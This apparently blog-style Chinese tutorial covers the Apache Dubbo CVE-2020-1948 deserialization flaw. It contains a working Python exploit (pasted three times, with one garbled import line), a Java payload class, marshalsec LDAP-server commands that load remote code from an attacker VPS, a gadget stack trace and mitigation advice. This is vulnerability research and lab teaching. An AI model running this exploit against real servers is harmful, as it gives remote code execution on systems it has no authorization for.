Dubbo是一个分布式服务框架,致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。简单的说,dubbo就是个服务框架,如果没有分布式的需求,其实是不需要用的,只有在分布式的时候,才有dubbo这样的分布式服务框架的需求,并且本质上是个服务调用的东西,说白了就是个远程服务调用的分布式框架(告别Web Service模式中的WSDL,以服务者与消费者的方式在dubbo上注册) 其核心部分包含:
下图是官方的工作原理图和解释
async 异步
sync 同步
服务提供者
服务消费者
服务注册中心
服务监控中心
Provider将本地提供的远程方法在注册中心进行注册,Consumer需要调用时会先去注册中心进行查询,根据注册中心返回的结果再去对应的Provider中调用对应的远程方法,如果有变更,注册中心将基于长连接推送变更数据给Consumer 。
启动注册中心,Apache dubbo 推荐使用的注册中心时Apache ZooKeeper注册中心 下载地址Apache ZooKeeper
影响版本
Dubbo 2.7.0 - 2.7.6
Dubbo 2.6.0 - 2.6.7
Dubbo 2.5.x
docker pull dsolab/dubbo:cve-2020-1948
docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d
java
代码,进行简单的命令执行,这里以ping
命令为例,用检测无回显的dnslog
用于验证import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class exp {
public exp(){
try {
java.lang.Runtime.getRuntime().exec("ping zqmp97.dnslog.cn");
} catch (java.io.IOException e) {
e.printStackTrace();
}
}
}
java代码
为class
文件javac poc.java
最后得到class
文件,这里遇到了一下javac -bash command not found的问题
使用如下命令解决
yum install java-1.8.0-openjdk-devel.x86_64
原因:下载的时候只执行了yum install java
,导致不是完整的jdk
参考链接:https://www.cnblogs.com/sirdong/p/11987639.html
apache
,nginx
都可以,这里以python 开启80端口的web服务为例python -m SimpleHTTPServer 80
marshalsec
,启动LDAP代理服务
下载地址: https://github.com/RandomRobbieBF/marshalsec-jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps/#exp 777
参考链接:https://www.cnblogs.com/afanti/p/11266087.html
java 反序列化利用工具 marshalsec 使用简介-CSDN博客
LDAP:轻型目录访问协议 ( 英文 :Lightweight Directory Access Protocol )是一个开放的,中立的,工业标准的 应用协议 ,通过 IP协议 提供访问控制和维护分布式信息的目录信息。轻型目录访问协议 ( 英文 :Lightweight Directory Access Protocol)是一个开放的,中立的,工业标准的 应用协议,通过 IP协议提供访问控制和维护分布式信息的目录信息。
marshalsec 的用法,使用形式如下
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.[-a] [-v] [-t] [ [ ]]
参数说明
-a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
-t:对生成的payloads进行解码测试
-v:verbose mode, 展示生成的payloads
gadget_type:指定使用的payload
arguments - payload运行时使用的参数
marshalsec.:指定exploits,根目录下的java文件名
exp.py
在此之前,需要安装模块
pip install dubbo-py
# exp.py
# -*- coding: utf-8 -*-
import sys
from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
if len(sys.argv) < 4:
print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
sys.exit()
client = DubboClient(sys.argv[1], int(sys.argv[2]))
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource=sys.argv[3],
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
method_name='$invoke',
args=[toStringBean])
output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
print('[+] Succeed.')
else:
print('[!] Output:')
print(output)
print('[!] Target maybe not use dubbo-remoting library.')
# exp.py
# -*- coding: utf-8 -*-
import sys
from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
if len(sys.argv) < 4:
print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
sys.exit()
client = DubboClient(sys.argv[1], int(sys.argv[2]))
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource=sys.argv[3],
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
method_name='$invoke',
args=[toStringBean])
output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
print('[+] Succeed.')
else:
print('[!] Output:')
print(output)
print('[!] Target maybe not use dubbo-remoting library.')
python exp.py 目标vps ldap://己方vps:777/exp
出现success
的时候,说明成功
然后观察dnslog
,也可以发现回显
同时我们可以留意一下相关的LDAP服务,当出现转发成功的时候,自然也是成功的
参考文章:Apache Dubbo CVE-2020-1948 反序列化漏洞利用-CSDN博客
源码版本:dubbo v2.7.6
下载地址:https://github.com/apache/dubbo-spring-boot-project/tree/35568ff32d3a0fcbbd6b3e14a9f7c0a71b6b08ee
下载后,将项目导入IDEA
我们开始分析一下现有的exp
# exp.py
# -*- coding: utf-8 -*-
import sys
from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
if len(sys.argv) < 4:
print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
sys.exit()
client = DubboClient(sys.argv[1], int(sys.argv[2]))
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource=sys.argv[3],
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
method_name='$invoke',
args=[toStringBean])
output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
print('[+] Succeed.')
else:
print('[!] Output:')
print(output)
print('[!] Target maybe not use dubbo-remoting library.')
poc2
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 12345)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/#ExportObject",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
method_name='rce',
args=[toStringBean])
不难发现,该漏洞利用链最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。同时我们发现该gadget中用到了com.rometools.rome.feed.impl.ToStringBean,所以Provider的pom.xml中需要添加rometools的引用
我们向dubbo-spring-boot-samples/auto-configure-samples/provider-samplepom.xml
添加依赖
com.rometools
rome
1.7.0
然后导入依赖
本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString
方法,重写了 toString
,该方法将会调用构造对象的所有 getter
方法
从上面 PoC
可以看到,执行 Dubbo
调用时,传入的是 ToStringBean
类型参数,构造的对象是com.sun.rowset.JdbcRowSetImpl
,并且 datasource
属性设置的是 JNDI
暴露的 url
,在调用 JdbcRowSetImpl
的 getDatabaseMetaData
方法时,执行 connect
操作,下载远端代码,在 Service Provider
执行,造成攻击。
调起 toString
方法的地方是在 Dubbo Provider
接收 DecodeHandler#received:44
请求,在 DecodeableRpcInvocation#decode
反序列化参数的地方:
dubbo
默认使用的是 hession2
序列化,解析参数执行的是这个方法
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF
在 hession
反序列化过程中,通过下面代码段执行到了 ToStringBean#toString
堆栈利用链
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
RpcInvocation
类的 toString
方法中输出的 arguments
参数,防范后反序列化攻击。同时对 Hessian
进行黑白名单加固来防范 Hessian
反序列化攻击。Dubbo
服务端端口开放给公网,或仅仅只对能够连接至 Dubbo
服务端的可信消费端IP开放Dubbo
协议默认采用 Hessian
作为序列化反序列化方式,该反序列化方式存在反序列化漏洞。在不影响业务的情况下,建议更换协议以及反序列化方式。具体更换方法可参考:http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html参考文章:
https://www.cnblogs.com/JingQ/p/13329083.html
https://www.cnblogs.com/zhengjim/p/13204194.html
https://www.cnblogs.com/zhengjim/p/13204194.html
Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析